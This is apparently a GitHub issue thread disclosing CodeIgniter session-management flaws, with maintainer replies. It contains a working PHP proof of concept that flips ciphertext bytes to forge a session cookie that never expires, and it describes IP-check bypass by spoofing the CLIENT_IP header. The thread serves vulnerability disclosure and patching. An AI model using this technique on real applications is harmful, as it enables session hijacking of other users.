Multiple vulnerabilities in session management.

[TheRook]

EDIT The following vulnerabilities have been patched in my branch:

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking CWE-329: Not Using a Random IV with CBC Mode CWE-327: Use of a Broken or Risky Cryptographic Algorithm Two violations of this. One is using md5, the other is using the "XOR Encode" algorithm. CWE-291: Trusting Self-reported IP Address

Patch: https://github.com/TheRook/CodeIgniter/commit/27d1e61f4964da5182e4076653e5300ec31ab643

Here is just me having some fun:

ORIGINAL POST: Code Igniter has multiple flaws with its session handler. The 'sess_encrypt_cookie', 'sess_match_ip', 'sess_expiration', 'sess_match_useragent' can all be undermined. The result is that after an attacker intercepts a cookie (owasp a9) then she can build an immortal cookie that can be used from any ip address using any browser.

There is nothing in CI that prevents an OWASP a9 violation. In order to deal with OWASP a9 all applications must use HTTPS for the lifetime of an authenticated session. (period)

1) 'sess_encrypt_cookie':

First of all if encryption is disabled, then the application uses a non-RFC hmac using md5() which means its not easy to modify the cookie. This is the only time an authentication block is included with the cookie. Ironically if you enable encryption, you disable authentication. Clearly not the design of a professional cryptographer.After all md5 is a broken hash function, and you are not using a valid hmac.

All other cookie modes used by CI are a clear violation of CWE-807, and a CVE should be issued.

If encrypted cookies are enabled and php-mcrypt is present then AES-256 in CBC mode is used. An authentication block is not used, _add_cipher_noise() is some strange home-brew nonsense that is not a valid method of authentication. The cipher text could be modified without the application recognizing the attack. However a small modification to the cipher text will yield large changes to the resulting plain text due to the avalanche effect. Cryptographically possible, but it would require a fair amount of processing power to create a valid cookie.

If encrypted cookies are enabled, and php-mcrypt isn't installed, then it will silently fall back on _xor_encode(). _xor_encode() is a home-brew stream cipher built into Code Igniter. If a professional cryptographer implemented this they would just use a native PHP implementation of AES. But that is what peer review is for!

So how bad can some home-brew crypto system be? Well this system uses a global secret key that is passed though either MD5 or SHA1. The resulting hash is in hex form. That means that a given byte is xor'ed with one of the 16 following characters ['0','1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f']. A stream cipher like RC4 will produce a PRNG stream that is a full byte with 256 possible values, not just one of 16 values.

This system also introduces a random key that is included with the message. This is kind of like an IV in that the cipher text will always be different, even if the plain text is the same. However unlike an IV this random key makes the message twice as large, which is undesirable. In the PHP PoC below we are modifying one of these random key bytes and replacing it with another hex character, this will result in a smaller change in the resulting plain text and for the purposes of the PoC it is more likely to produce a int value. An attacker could iterate over all 256 possibilities, however its not necessary.

The real vulnerability comes down to lack of authentication with a stream cipher, so even if this application was using an accepted stream cipher like RC4 this attack would still be valid. If you know the byte placement, then you can modify that byte. This attack could be used to modify any information in the cookie struct including "user_data", which is custom state tracked by the application.

2) 'sess_expiration':

Due to broken authentication, or lack of authentication the last_activity (as well as every other value in the cookie struct) value is attacker controlled.

<?php
// Is the session current?
if (($session['last_activity'] + $this->sess_expiration) < $this->now)
{
    $this->sess_destroy();
    return FALSE;
}

If your run the PHP PoC at the end of this file you'll get a number of last_activity values to choose from. Some are timestamps far in the past like 1044813800, other far into the future like 1944813800. 1944813800 is an ideal timestamp because it creates a cookie that an attacker can use for authentication for a very long time. This code never checks that the last_activity was in the future ($session['last_activity'] > $this->now).

3) 'sess_match_useragent'

This check is worthless. This is check is exactly equivalent to a security feature that is a GET variable that says is_attacker=False. If an attacker intercepts a cookie (owasp a9 violation) then he will also have the useragent. This value is also non-random and easy to brute force if need be (but you'll never need to do that, seriously this check is completely and totally worthless and should be removed).

4) 'sess_match_ip'

Stright forward exploitation. The Firefox addon modify-headers can be used to add the 'CLIENT_IP' http header to every request.

IP Address spoofing vulnerability in /codeigniter/core/Input.php:

<?php
if (config_item('proxy_ips') != '' && $this->server('HTTP_X_FORWARDED_FOR') && $this->server('REMOTE_ADDR'))
{
    $proxies = preg_split('/[\s,]/', config_item('proxy_ips'), -1, PREG_SPLIT_NO_EMPTY);
    $proxies = is_array($proxies) ? $proxies : array($proxies);

    $this->ip_address = in_array($_SERVER['REMOTE_ADDR'], $proxies) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
}
elseif ( ! $this->server('HTTP_CLIENT_IP') && $this->server('REMOTE_ADDR'))
{
    $this->ip_address = $_SERVER['REMOTE_ADDR'];
}
elseif ($this->server('REMOTE_ADDR') && $this->server('HTTP_CLIENT_IP'))
{
    $this->ip_address = $_SERVER['HTTP_CLIENT_IP'];
}
elseif ($this->server('HTTP_CLIENT_IP'))
{
    $this->ip_address = $_SERVER['HTTP_CLIENT_IP'];
}
elseif ($this->server('HTTP_X_FORWARDED_FOR'))
{
    $this->ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

/****************************/

/***Simple PoC to bypass the _xor_encode() encrypted sessions***/
/*
Code taken from /codeigniter/libraries/Encrypt.php
*/
/*
 * XOR Encode
 *
 * Takes a plain-text string and key as input and generates an
 * encoded bit-string using XOR
 *
 * @param    string
 * @param    string
 * @return    string
 */
function _xor_encode($string, $key)
{
    $rand = '';
    do
    {
        $rand .= mt_rand(0, mt_getrandmax());
    }
    while (strlen($rand) < 32);

    $rand = sha1($rand);

    $enc = '';
    for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++)
    {
        $enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]);
    }

    return _xor_merge($enc, $key);
}

// --------------------------------------------------------------------

/**
 * XOR Decode
 *
 * Takes an encoded string and key as input and generates the
 * plain-text original message
 *
 * @param    string
 * @param    string
 * @return    string
 */
function _xor_decode($string, $key)
{
    $string = _xor_merge($string, $key);

    $dec = '';
    for ($i = 0, $l = strlen($string); $i < $l; $i++)
    {
        $dec .= ($string[$i++] ^ $string[$i]);
    }

    return $dec;
}

// --------------------------------------------------------------------

/**
 * XOR key + string Combiner
 *
 * Takes a string and key as input and computes the difference using XOR
 *
 * @param    string
 * @param    string
 * @return    string
 */
function _xor_merge($string, $key)
{

    $hash = sha1($key);//or maybe md5()...
    $str = '';
    for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++)
    {
        $str .= $string[$i] ^ $hash[($i % $lh)];
    }

    return $str;
}
/******************* end of CI's code *******************/

<?php
/****************** start of PoC ************************/
//Encryption key generated by a CI application. 
$key="Jiu348^&H%fa";
//Example cookie value that would be encrypted by CI
$sesion='a:4:{s:10:"session_id";s:32:"ce02b80a4701d4b818274eeecec97db8";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0";s:13:"last_activity";i:1344813800;}';

//The $cipher_text is what the attacker could sniff.
$cipher_text=_xor_encode($sesion,$key);
//debug:
//print $cipher_text;
$plain_text=_xor_decode($cipher_text,$key);
//$cipher_text=base64_decode($cipher_text);
print "<br>plain text len:".strlen($cipher_text)."<br>cipher text len:".strlen($plain_text)."<br><br>";

// $cipher_text[$ci_len-23] is a magic number.
// With this encryption scheme every other byte is a randomly generated byte which is xor'ed with the byte next to it.
// The value of last_activity within the seralized session starts at plain_text-12 which means it starts at cipher_text-24
// The value ends at plain_text-2 and cipher_text-4
// 22 is at position 2 which should be a big enough time increase.
$ci_len=strlen($cipher_text);   
$longest=0;
$long_cookie="";

$hex=array('0','1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f');
foreach($hex as $h){
    $cipher_text[$ci_len-23]=$h;
    //Cryptographic oracle.
    $plain_text=_xor_decode($cipher_text,$key);
    //print($plain_text);
    $c=unserialize($plain_text);
    if(intval($c[last_activity])){
        print $c[last_activity]."<br>";
        print $cipher_text."<br>";
        if(intval($c[last_activity])>$longest){
            $longest=$c[last_activity];
            $long_cookie=$cipher_text;
        }
    }
}
print "<br>Longest Valid Time:".$longest."<br>";
print "<br>Longest Valid Time Cookie:<br/>".$long_cookie;

[GDmac]

Great inspection and audit of the session library. Some of the session checks are indeed inadequate and a bit outdated way of doing things (ip check, user agent check), to say the least.

I do try to keep an eye on issues with the session library, because of my interest out of participating in the commit by @dchill42 to split the session library out into drivers. However, CodeIgniter is currently largely build by enthousiasts so it's difficult to assign the issues you raised to someone to go and build the required security enhancements.

That being said, and since you seem to have dived into the innards of CI for inspecting these issues, it would really help if you could fork CI on github and implement some of the security suggestions you mention into a commit.

Thanks in advance.

[TheRook]

Thanks for the response. I think i will do that. Could you delete this post until a patch is available.

[narfbg]

Now you've made it impossible for anyone to follow on what was here.

[GDmac]

TheRook can you restore your report please, for reference and audit purposes?

(EDIT) from memory:

• when mcrypt not available the fallback (xor_encode) is insufficient, should use some sort of a php based implementation for secure encoding.
• cypher noise insuffient?
• not using sess_encrypt_cookie actually does seem to use some sort of authentication?
• future last_activity timestamps should fail.
• ip and useragent are not security checks.

[narfbg]

IP and User agent checks ARE security measures. If you don't do that - anybody can hijack a session simply by copying the session ID.

[TheRook]

YES they ARE security measures that I am able to BYPASS COMPLETELY. (Hence the bug report)

(and I will write a fix and when a fix is viable I will obtain a CVE number from Mitre Fun fact I have obtained 52 CVE numbers :)

[narfbg]

The IP address spoofing vulnerability (if that's what you're referring to) has been fixed and was the reason for the latest CodeIgniter release (2.1.3).

And yes - technically, everybody can send whatever user-agent string they like. This however does not mean that it shouldn't be checked. Sure, it won't stop somebody with your knowledge of how things work and nobody says that it's bullet-proof. That doesn't mean that we should allow somebody simply copy-pasting a session key into the address bar in order to hijack a cookie.

Anything else we'll consider if you re-post it, it doesn't need to wait for a CVE number or a fix written specifically by you. It's an open source project - there's nothing to hide and everybody should be able to contribute in the meantime. :)

[TheRook]

The user agent is transmitted with every request. There can never be a condition in which the attacker has the session id, but lacks the user agent (especially if you are using md5() and not encryption for session state). It is a waste of bandwidth and it is like sending a GET variable that says is_attacker=False, except it uses 120 bytes. You are using an attacker controlled variable in a access control decision, the very basis of this is a vulnerability. This is just like checking the HTTP header to verify the user's ip address.

The perception this feature as adding security to this system is what worries me most.

[narfbg]

So consider it to be a weak filter-kind of thing that would only stop a 12-year old. Either way - it's not going away.

All browsers will send it, so we might just use it to have some false sense of "randomness". It's not a waste of bandwidth, unless it's being sent in the cookie itself - that however is a whole different issue.

[TheRook]

Security features that work should be default enabled, features that "may work" should be default disabled. My changes to config.php reflect this. OWASP A9 and the cookie flags are about preventing the cookie from being leaked due to defects in the web application.

On Sun, Oct 14, 2012 at 1:27 PM, Andrey Andreev notifications@github.comwrote:

So consider it to be a weak filter-kind of thing that would only stop a 12-year old. Either way - it's not going away.

All browsers will send it, so we might just use it to have some false sense of "randomness". It's not a waste of bandwidth, unless it's being sent in the cookie itself - that however is a whole different issue.

— Reply to this email directly or view it on GitHubhttps://github.com/EllisLab/CodeIgniter/issues/1702#issuecomment-9426500.

[narfbg]

Sure, it's your job to say that. But we don't deal with OWASP on a daily basis and most of the developers using CodeIgniter would want the ability to have a "persistent" login for their users, not a login on each visit to their site.

[GDmac]

To be fair, the same 12 year old (or noob) who looks at session_cookie might get a false sense of security wrt sess_match_useragent. In the same trend, it's not the grannies nor elementary school kids where session security is aimed at.

we should look for a constructive approach. narf, match_useragent is not holy, is it? Besides, it's even a config option, if you want to disable it. and theRook if you could recap the main security concerns i'ld be more than happy.

1. Rook, you removed your proof of concept XOR exploit from the original post. If the XOR_encode really is an issue, i think it should then possibly be removed from CI, as it also give a false sense of security. A possible approach to the issue might be, if the user enables session encryption, but mcrypt is not available on the system, to fail with an error, similar like when no encryption key is set in config. The CI docs could point to a possible solution to use a custom encryption library X or Y.
2. Rook, you described something about cypher_noise being inadequate. Please recap.
3. Rook, you also mentioned something about, when not using encrypt_session, that the alternative routine DID use some sort of authentication, please recap.

[narfbg]

Look, nobody said that maching user-agent strings is the holy grail of web security, nor that it's even a reliable factor. Here's the _sess_matchuseragent option description:

Whether to match the User Agent when reading the session data

... and that's it. It's a header sent by >99 out of 100 browsers and people want to use it - so let them.

The only purpose behind my comments in this thread was to rule out any further discussion on the IP address and User agent issues, because the first one has been fixed and the second is merely an opinion of whether it's useful or not. So it's case closed on those two - please stop arguing.

[TheRook]

@GDmac A patch is available, so I restored my original bug post.

[hwsamuel]

Was this patch ever integrated into the main CodeIgniter branch? Thanks

[TheRook]

From what I can tell CodeIgniter has a poor security practices and they are unwilling/unable to recognize their mistakes. So I spent my time on other open source projects that take security seriously.

"Let me use this GET variable to check your IP address!" Wow, that earns a gold star.

On Sun, Jan 26, 2014 at 6:03 AM, Hamman Samuel notifications@github.comwrote:

Was this patch ever integrated into the main CodeIgniter branch? Thanks

— Reply to this email directly or view it on GitHubhttps://github.com/EllisLab/CodeIgniter/issues/1702#issuecomment-33316274 .

[hwsamuel]

Which similar frameworks do you recommend? I'm loving the simplistic approach of CodeIgniter but security is also very important.

[narfbg]

@hwsamuel No, this patch was not integrated and will not be, for numerous reasons such as incompatible licenses, breaking backwards compatibility and not being consistent with CI's coding style guidelines.

However, issues 2 through 4 from the list above have been fixed, while issue 1 has also been partially fixed, but you're not encouraged to use cookie sessions.

Please google other frameworks instead of asking here about that.

@TheRook CodeIgniter has its flaws - that is unquestionable, the least you could do is speak of facts and not lie to people.

A GET variable is never used for IP address checking and as far as I know - has never been.

Your reports have been appreciated, but while we understand that you did this was incidentally a part of your job and you can't invest your time in tailoring code to our needs, you on the other hand failed to understand that we cannot just do everything as you say and that none of your patches were applicable to our code.

This doesn't mean that mistakes from CI's development in the past are not recognized, nor that it is anybody's intention to just leave it be as it is.

It was already pointed out that this framework is developed by the community, on everybody's spare time and none of us is a cryptographer. That being said, I don't think lack of spare time and resources is a reason enough for an almost arrogant attitude that you've showed each time you leave us a comment. You're a security professional - great, you've found flaws in CodeIgniter and you've reported them - great, thank you. You patched them - great, thanks; but sorry - they didn't meet our requirements and/or needs. Don't be an ass about it.

[TheRook]

I remember now, it was X-Forwarded-For, which is an equivalent failure.

On Sun, Jan 26, 2014 at 12:14 PM, Andrey Andreev notifications@github.comwrote:

@hwsamuel https://github.com/hwsamuel No, this patch was not integrated and will not be, for numerous reasons such as incompatible licenses, breaking backwards compatibility and not being consistent with CI's coding style guidelines.

However, issues 2 through 4 from the list above have been fixed, while issue 1 has also been partially fixed, but you're not encouraged to use cookie sessions.

Please google other frameworks instead of asking here about that.

@TheRook https://github.com/TheRook CodeIgniter has its flaws - that is unquestionable, the least you could do is speak of facts and not lie to people.

A GET variable is never used for IP address checking and as far as I know

• has never been.

Your reports have been appreciated, but while we understand that you did this was incidentally a part of your job and you can't invest your time in tailoring code to our needs, you on the other hand failed to understand that we cannot just do everything as you say and that none of your patches were applicable to our code.

This doesn't mean that mistakes from CI's development in the past are not recognized, nor that it is anybody's intention to just leave it be as it is.

It was already pointed out that this framework is developed by the community, on everybody's spare time and none of us is a cryptographer. That being said, I don't think lack of spare time and resources is a reason enough for an almost arrogant attitude that you've showed each time you leave us a comment. You're a security professional - great, you've found flaws in CodeIgniter and you've reported them - great, thank you. You patched them - great, thanks; but sorry - they didn't meet our requirements and/or needs. Don't be an ass about it.

— Reply to this email directly or view it on GitHubhttps://github.com/EllisLab/CodeIgniter/issues/1702#issuecomment-33326858 .